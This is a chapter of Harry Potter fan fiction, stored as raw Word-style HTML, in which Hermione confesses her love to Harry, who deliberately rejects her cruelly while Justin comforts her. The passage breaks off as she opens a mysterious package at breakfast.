	(15, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><b style="mso-bidi-font-weight:normal">Disclaimer: </b>No\nway are any of the original HP characters mine they totally belong to J.K.\nRowlings.&nbsp; You are nuts to even think\nthat I own this, where do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp; </b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">All That She Wants</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 6&#8212;I Won&#8217;t Say I&#8217;m In Love</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sat at her usual table in the library; this was\nalways a comforting place to run to when she was troubled.&nbsp; And boy was she ever troubled.&nbsp; She opened Hogwarts; a History and began\nscanning the pages.&nbsp; As Hermione was lost\nwithin the world of her book, a group of girls came wandering into the library\nand sat at the table next to hers.&nbsp; They\nwere gossiping and loudly at that.&nbsp;\nHermione heard several different topics but one perked her attention\nmore than usual.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh and Cybil I totally agree with you.&nbsp; Yes what gentle hands that Harry Potter has\ntoo.&#8221; She sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I mean I&#8217;m not even jealous of you, he treated me with the\nutter most respect and patience.&nbsp; He\nnever rushes, always takes his time.&#8221; Cybil said with a smile.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione didn&#8217;t like eavesdropping, it was wrong. She closed\nup her book and was going to leave.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Holly look it&#8217;s his friend, let&#8217;s go talk to her.&#8221; Cybil\nannounced.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, she has got to know more about him then we do,&#8221; Holly\nreplied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Both girls walked over to Hermione&#8217;s table smiling goofily\nat her.&nbsp; &#8220;You are Harry Potter&#8217;s friend\nright?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked at the two girls, &#8220;Yes.&#8221;&nbsp; She tried to get up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh please don&#8217;t leave; we want to talk to you about him.&#8221;\nCybil smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It sounds like you know him pretty well already.&#8221; Hermione\nreplied as she tucked her book underneath her arm and turned from the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well we want to know what he&#8217;s like, without all the\nromance and flattery he feeds us.&#8221; Holly replied jumping in front of Hermione.\n&#8220;What&#8217;s he really like?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Couldn&#8217;t you please stay and talk with us for a little\nbit?&#8221; Cybil whimpered joining her friend in front of Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione noticed the girls looked like they were ready to cry\nif she didn&#8217;t share what she knew about Harry.&nbsp;\n&#8220;Look if you want to know about him, ask him yourself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s not that easy, we&#8217;ve tried.&#8221; Holly said. &#8220;He never\ntells us anything like that, but I&#8217;m sure you being his friend and not anything\nmore, would know.&#8221; Holly clasped her hands together in a begging fashion.&nbsp; &#8220;So please tell us.&#8221; Her lower lip stuck out\nin a pout.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Alright, what do you want to know?&#8221; Hermione sighed giving\nin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What&#8217;s his favorite holiday?&#8221; Cybil&#8217;s eyes were wide with\nwonder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Christmas,&#8221; Hermione answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;His favorite food?&#8221; Holly asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Anything he can fit in his mouth.&#8221; Hermione sat down again\nat the table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;His favorite color?&#8221; Cybil sat next to Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Blue.&#8221; Hermione leaned back a bit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Holly and Cybil went back and forth asking Hermione trivial\nquestions, just simple things. The questions started getting much harder.&nbsp; Like when was Harry&#8217;s first romantic\nexperience, Hermione of course knew, since he ran to her after telling her how\ngreat it was.&nbsp; And why does he hate Ron\nWeasley so much.&nbsp; Hermione told them that\nit was a number of things, but more importantly that Ron was just a jerk.&nbsp; Hermione actually started laughing and having\na good time with these two girls as she just talked with them about Harry and\nhow many really idiotic things he had done, but mostly about how nice and\nwonderful he really was.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So it seems that you two really look out for each other.&#8221;\nCybil said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, I suppose so.&#8221; Hermione glanced down at her\nfingernail that she was tracing along the tabletop.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It also sounds like you might have a little thing for him\nyourself.&#8221; Holly wiggled her eyebrows suggestively.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s head snapped up, as she looked right at Holly.\n&#8220;What makes you say that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We just spent a whole hour and half talking about Harry,\nand you know everything about him, and your face lights up when you talk about\nhim.&#8221; Holly said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, I noticed that too.&#8221; Cybil replied she watched\nHermione looked between both of them.&nbsp;\n&#8220;It seems like to me anyway that you might be in love with the guy, and\nif how you described him to us, that he might be in love with you too.&#8221; Cybil\nsaid as she and Holly stood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was speechless, as the two girls smiled knowingly\nat her. Holly and Cybil left the library and Hermione to think about what the\ngirls had just told her.&nbsp; Hermione sighed\nand leaned back in her chair.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">In love with him, me? It is possible.&nbsp; No I can&#8217;t be.&nbsp; Yes you can, after all you didn&#8217;t stop him\nfrom kissing you twice, you wanted him to. But that doesn&#8217;t mean anything.&nbsp; He always makes you happy, he protects\nyou.&nbsp; He has never let you down, he knows\nyou&#8217;re thoughts and he cares about what you have to say.&nbsp; Remember your list? He fits every aspect of\nyour list.&nbsp; Except the wants only me\npart. Then admit it, you base your list on his qualities and how he treats\nyou.&nbsp; You are in love with him.&nbsp; Yes okay I am in love with him.&nbsp; I LOVE HARRY!!&nbsp; But there&#8217;s still the part about the wanting\nonly me, remember?&nbsp; Well you won&#8217;t know\nthat until you find out.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She nodded.&nbsp; Hermione\nsummoned up her so called Gryffindor bravery, she was going to tell him exactly\nhow she felt and hopefully he would feel something other then just\nfriendship.&nbsp; But if he didn&#8217;t it would be\nall right, she wouldn&#8217;t push him on it.&nbsp;\nHermione left the library in search of Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">*******&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You what?&#8221; Blaise asked not really shocked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I kissed her, twice.&#8221; Harry said shaking his head; he\nwondered why Blaise was smiling.&nbsp; &#8220;Didn&#8217;t\nyou hear what I said? I kissed her; I can&#8217;t believe I let myself get carried\naway like that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I heard perfectly, you kissed her.&nbsp; And it seems that you liked it.&#8221; Blaise&#8217;s\nsmile was even wider.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well yeah I did, but that&#8217;s not the point.&#8221;&nbsp; He leaned against the wall of the corridor,\nburying his face within his hands, a sign of distress.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry.&#8221; Blaise rested her hand on his shoulder. &#8220;It&#8217;s not\nthe end of the world. Just admit that you&#8217;re in love with her and you liked\nher.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I won&#8217;t say I&#8217;m in love Blaise, I won&#8217;t because I&#8217;m not.&#8221;\nHe shook his head<i style="mso-bidi-font-style:normal"> &#8216;at least out loud you\nwon&#8217;t say you&#8217;re in love. NO I&#8217;M NOT, GET OUT OF MY HEAD!!&nbsp; STOP THIS!!&nbsp;\nThere is not such thing as love.&#8217;</i>&nbsp;\nHarry stood to his full height, shaking the thoughts from his head.&nbsp; The next time he saw Hermione, he would end\ntheir friendship.&nbsp; He had to, to save his\nsanity.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione stopped her search, he wasn&#8217;t anywhere.&nbsp; She checked the Head Boy&#8217;s room, a couple of\nhidden rooms he liked to stay in when he felt things were getting to hectic and\nhe wanted to be alone.&nbsp; Hermione sighed\nthinking that she wasn&#8217;t going to find him, and she continued on down the\ncorridor.&nbsp; She heard two people talking\nand much to her relief and surprise there was Harry talking with Blaise.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She felt a new nervousness sweep over her, why should she be\nso nervous to talk to him. It wasn&#8217;t that big of a deal, was it? <i style="mso-bidi-font-style:normal">&#8216;No, of course not, don&#8217;t be silly.&nbsp; Just go talk to him, see where it stands,\njust friendship or possibly something more.&#8217;</i> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry heard footsteps coming toward him; he turned and saw\nHermione coming down the corridor carrying a book. <i style="mso-bidi-font-style:\nnormal">&#8216;What else would she be carrying?&#8217;</i> He smiled a bit, knowing that\nHermione loved to read; no matter what it was she would find a different world\nwritten within the pages, only imagination to fuel the fire.&nbsp; He shook his head <i style="mso-bidi-font-style:\nnormal">&#8216;No, no stop thinking about her.&#8217; </i>She walked right up to him, with\na sort of uneasy smile.&nbsp; She was\ncertainly distressed about something.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione cleared her throat. &#8220;There&#8217;s something we need to\ntalk about.&#8221; She said looking up at him.&nbsp;\nShe looked over at Blaise. &#8220;Privately.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise smiled and moved away from them; of course she didn&#8217;t\ngo far. She wanted to be able to hear what was being said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry crossed his arms over his chest, something he never\ndid when talking to her.&nbsp; &#8220;What is it?&#8221; He\nsaid no emotion in his voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well about what happened earlier, I&#8217;m sorry I freaked out.&#8221;\nShe glanced down at her feet.&nbsp; &#8220;I was\njust confused.&#8221; Hermione noticed he seemed distant and almost cold towards\nher.&nbsp; Maybe it was just her own mind\nplaying tricks on her again.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Just say it!!&#8217;</i> Her mind shouted at her.\n&#8220;What I&#8230;I wanted to say was, that I&#8230;think&#8230; Uh what I mean to say is&#8212;&#8221; Her mind\ninterrupted her thoughts <i style="mso-bidi-font-style:normal">&#8216;He almost looks\nbored listening to you ramble on and on. Just say it and get it over with.&#8217;</i>\n&nbsp;Hermione took a breath. &#8220;I think that I\nlove you.&#8221; She waited.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in"><i style="mso-bidi-font-style:normal">&#8216;No!! She didn&#8217;t just\nsay that, did she? Yes she did. Hell.&#8217;</i> Harry took a deep breath<i style="mso-bidi-font-style:normal"> &#8216;I&#8217;m sorry Hermione but this is for your\nown good, as well as mine.&nbsp; You will\nthank me for it later.&#8217; </i>He gave off a slight chuckle.&nbsp; &#8220;You do, do you?&#8221; He laughed again.&nbsp; &#8220;Well then my plan worked, just a little too\nlate.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was confused; she wondered what was so funny and\nwhat was too late. She was about to ask when Harry spoke again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry said with a smirk, &#8220;I have already given up on you, I\nhad tried for years.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you talking about?&#8221; Hermione was still confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I suppose I had better be blunt, you just aren&#8217;t grasping\nit. And for someone who&#8217;s as smart as you I assumed you would have figured it\nout by now.&#8221; He saw Hermione&#8217;s left hand clinch, she was getting mad.&nbsp; He just insulted her intelligence.&nbsp; Harry took in a deep breath. <i style="mso-bidi-font-style:normal">&#8216;I am so sorry Hermione, but I have to do\nthis. I&#8217;m so sorry.&#8217;</i>&nbsp; &#8220;You think I\nwas spending my time with you for fun?&#8221; He laughed.&nbsp; &#8220;I don&#8217;t do anything for free; there is\nalways some kind of reimbursement of my time, if you understand what I am\nsaying.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m afraid I don&#8217;t have any idea of what you are talking\nabout.&#8221; Hermione&#8217;s eyes narrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry smiled &#8220;You told me that you love me, oh how sweet.\nHow nice for you.&#8221; His grin faded, &#8220;Did you think I would return your\nfeelings?&#8221; He laughed, almost cruelly.&nbsp;\nMan this was killing him; he saw tears swelling in her eyes as well as\nher other hand clutched her book, hard as she held it at her side. &#8220;Oh my you\ndid, didn&#8217;t you?&nbsp; Well, well my easily\ndeceived Hermione.&nbsp; I don&#8217;t love you, I\ncould never love you.&nbsp; I was never really\ninterested in being a friend to you, I can barely stand you.&#8221; He said with\ndisgust. &#8220;You are horrible.&nbsp; Irritating.\nAnnoying. A down right pest.&nbsp; Who in\ntheir right mind could ever want to love you?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Harry kept well in\ncharacter as he saw that her tears were now spilling over and running down her\ncheeks, he felt sick. <i style="mso-bidi-font-style:normal">&#8216;I am so sorry\nHermione.&#8217;</i>&nbsp; Yet he continued. &#8220;You\njust grew into an amazing body so I added you to my list; I figured if I were\ncloser to you, it would be fairly easy.&nbsp;\nBoy how wrong I was.&#8221; Nothing but pure sarcasm echoed through the hall,\nHarry&#8217;s eyes narrowed in false bitterness.&nbsp;\n&#8220;You just took too damn long and I got tired of waiting. So I&#8217;m\nfinished.&#8221; He waited for what was to come, whatever it was he could take it. If\nshe retaliated with curses, he could dodge them. If she was going to hurt him\nphysically he could hold her off.&nbsp; He was\nready for anything.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Her tears were flowing freely now; she didn&#8217;t even try to\nhide them.&nbsp; This was far worse then\nanything, even worse than Ron Weasley.&nbsp;\nShe trusted Harry Potter, boy what a fool she had been.&nbsp; Hermione had never felt so low, so betrayed\nin her entire life.&nbsp; She wanted to hurt\nhim.&nbsp; Really bad.&nbsp; But she kept her dignity; he wasn&#8217;t going to\nget a rise out of her.&nbsp; Hermione simply\nturned on her heels and left him standing there without so much as speaking a\nword to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You&#8217;re an idiot.&#8221; Blaise said who seemed to appear out of\nnowhere.&nbsp; Her eyes were narrowed and she\nwas looking at him with such disappointment. &nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry shook his head <i style="mso-bidi-font-style:normal">&#8216;This\nis for the best; it&#8217;s for her own good. Yes it is.&nbsp; I don&#8217;t need Hermione, I&#8217;m fine on my own.&#8217;</i>&nbsp; He noticed that Hermione was walking at a\nslow pace, she hadn&#8217;t gotten very far, her head was lowered and she lifted a\nfree hand to her cheeks wiping away some of her tears.&nbsp; A sudden surge of anger and bitterness\nengulfed him when he saw who was heading straight towards Hermione, she wasn&#8217;t\npaying attention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">They wouldn&#8217;t stop falling; she couldn&#8217;t get them to\nstop.&nbsp; Hermione continued on down the\ncorridor clutching her book to her chest.&nbsp;\nShe wasn&#8217;t looking where she was going and ran into something solid managing\nto knock her book from her hands.&nbsp; It\nfell to the floor with a loud clunk. &#8220;Crap&#8221; She muttered.&nbsp; Realizing that she ran into someone, she\nquickly apologized &#8220;Oh excuse me.&#8221; Hermione bent to pick up the book.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Let me get it.&#8221; The male voice said.&nbsp; He bent and picked up the book for her.&nbsp; &#8220;Here you go.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione looked up and saw Justin with a smile on his face\nholding her book out to her.&nbsp; &#8220;Thanks.&#8221;\nShe sniffled and took the book for him.&nbsp;\nHermione wasn&#8217;t even thrilled to see him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Justin noticed the tears in her eyes. &#8220;Oh what&#8217;s the\nmatter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh&#8230;n&#8212;nothing,&#8221; Hermione paused a moment.&nbsp; &#8220;I&#8230;just received a bad mark, that&#8217;s all.&#8221; She\nlied. &#8220;Everyone knows how bent I am on perfection. Especially when it comes to\neducation.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I had heard about that.&#8221; He smiled. &#8220;Hey don&#8217;t worry\nabout it; I&#8217;m sure you&#8217;ll bring up that bad mark in no time at all.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione wondered what brought on his sudden change; he was\nactually talking to her.&nbsp; More then two\nwords even.&nbsp; She was slightly\nconfused.&nbsp; All Hermione wanted to do\nright now was go to bed.&nbsp; She didn&#8217;t care\nhow early it was, Hermione wanted to escape this horrid nightmare of a day.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know what always makes me feel better?&#8221; Justin\nasked.&nbsp; He noticed this seemed to get her\nattention.&nbsp; &#8220;Ice cream.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione smiled lightly, though her tears were still\nsilently falling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No really, whenever I&#8217;m sad or depressed, ice cream always\nmakes me feel better.&nbsp; Would you like to\naccompany me to the kitchens for some?&#8221; Justin smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m afraid I wouldn&#8217;t be very good company.&#8221; Hermione tried\nto smile, but found it impossible.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m sure they have chocolate, I heard you have a great love\nof chocolate ice cream.&#8221; Justin said in a knowing voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Where did you hear such a thing?&#8221; Hermione felt herself\nsmiling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh just around, so what do you say?&#8221; Justin offered with a\nsmile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed, &#8220;Well, I suppose a little ice cream\nwouldn&#8217;t hurt.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Justin&#8217;s smile widened and Hermione started walking down the\ncorridor.&nbsp; He caught up to her and they\nmoved together down towards the kitchens.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry watched them walking away with an awful scowl on his\nface, Blaise noticed this.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You brought this on yourself you know.&#8221; Blaise said with a\nsmirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you talking about?&#8221; He glanced down at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry sometimes, you just really&#8230;well you really just fuck\nthings up.&#8221; Blaise also walked down the corridor away from Harry. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">*******</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Early Saturday morning Harry still sleepy walked into the\nbathroom and began his morning rituals.&nbsp;\nHe had stayed up really late last night, why he was waiting for Hermione\nto come in was beyond him, but he had waited and she had never come back to the\nroom.&nbsp; Either she had and not bothered to\nwake him since he had fallen asleep on the sofa in the common room. Or she\nstayed out all night.&nbsp; Harry felt a jolt\nrun though him as he wondered what Hermione could possibly be doing all night. <i style="mso-bidi-font-style:normal">&#8216;Oh no you don&#8217;t stop it; you aren&#8217;t suppose\nto worry about that.&nbsp; You ended your\nfriendship; she can take care of herself. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry noticed the shower was already wet, that meant that\nHermione had used it.&nbsp; Well maybe that\nproves she came back last night after all.&nbsp;\nHe turned on the shower and stepped into it, giving himself a good wash.&nbsp; After at least fifteen minutes he turned off\nthe water and dried off.&nbsp; He proceeded to\nget dressed for the day.<i style="mso-bidi-font-style:normal"> </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His morning rituals consisted of showering, dressing,\nbrushing teeth and other small things like that.&nbsp; And to see if Hermione was ready for\nbreakfast.&nbsp; Out of routine he knocked on\nher door and called out her name.&nbsp; He\nquickly made a face <i style="mso-bidi-font-style:normal">&#8216;Oops I forgot.&#8217;</i>&nbsp; Harry gritted his teeth waiting for a rush or\ncurses or something from the other side.&nbsp;\nBut nothing was heard, it was silent.&nbsp;\nHe turned the handle to find the door unlocked, he pushed the door open\nslowly and peeked in.&nbsp; The room was\nempty; Hermione was not in there.&nbsp; He\nsighed, oh well it was time for breakfast anyway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry walked into the Great Hall, he instantly spotted\nHermione at the Gryffindor table, and she was noticeably quiet, simply picking\nat her food.&nbsp; Seamus who was next to her\nwas peeling an orange for her, he held it out and Hermione without even looking\nat Seamus or anything took it from his hand and started pulling it apart.&nbsp; Harry shook his head and stopped staring at\nher.&nbsp; He made his way to the Slytherin\ntable and sat down across from Blaise.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So how was your night?&#8221; Blaise asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Fine.&#8221; Harry immediately began piling food onto his plate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You don&#8217;t sound find.&#8221; She continued eating her grapefruit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m fine Blaise.&#8221; He said a little bitterly, not really\nmeaning his tone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A lone owl flew in the Great Hall and over to the Gryffindor\ntable, hovering above Hermione.&nbsp;&nbsp;&nbsp; She\ncould feel all eyes on her as the owl dropped something in front of her.&nbsp; He caught the package before it hit the\ntable.&nbsp; It was wrapped in gold foil.&nbsp; Several girls leaned over to see what she\nhad.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What is it?&#8221; Someone asked to her right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8212;I don&#8217;t know.&#8221; Hermione said as she glanced at the\npackage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well why don&#8217;t you open it and see.&#8221; Said Holly who was\nacross from her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione nodded and took off the silver ribbon that was\naround the gold package.&nbsp; She ripped the\nfoil off and found another plain brown box.&nbsp;\nShe took a knife from off the table and plunged into the well-taped\nends.&nbsp; Hermione pulled open the flaps and\nsaw a most impressive silver box; it had engravings of doves on 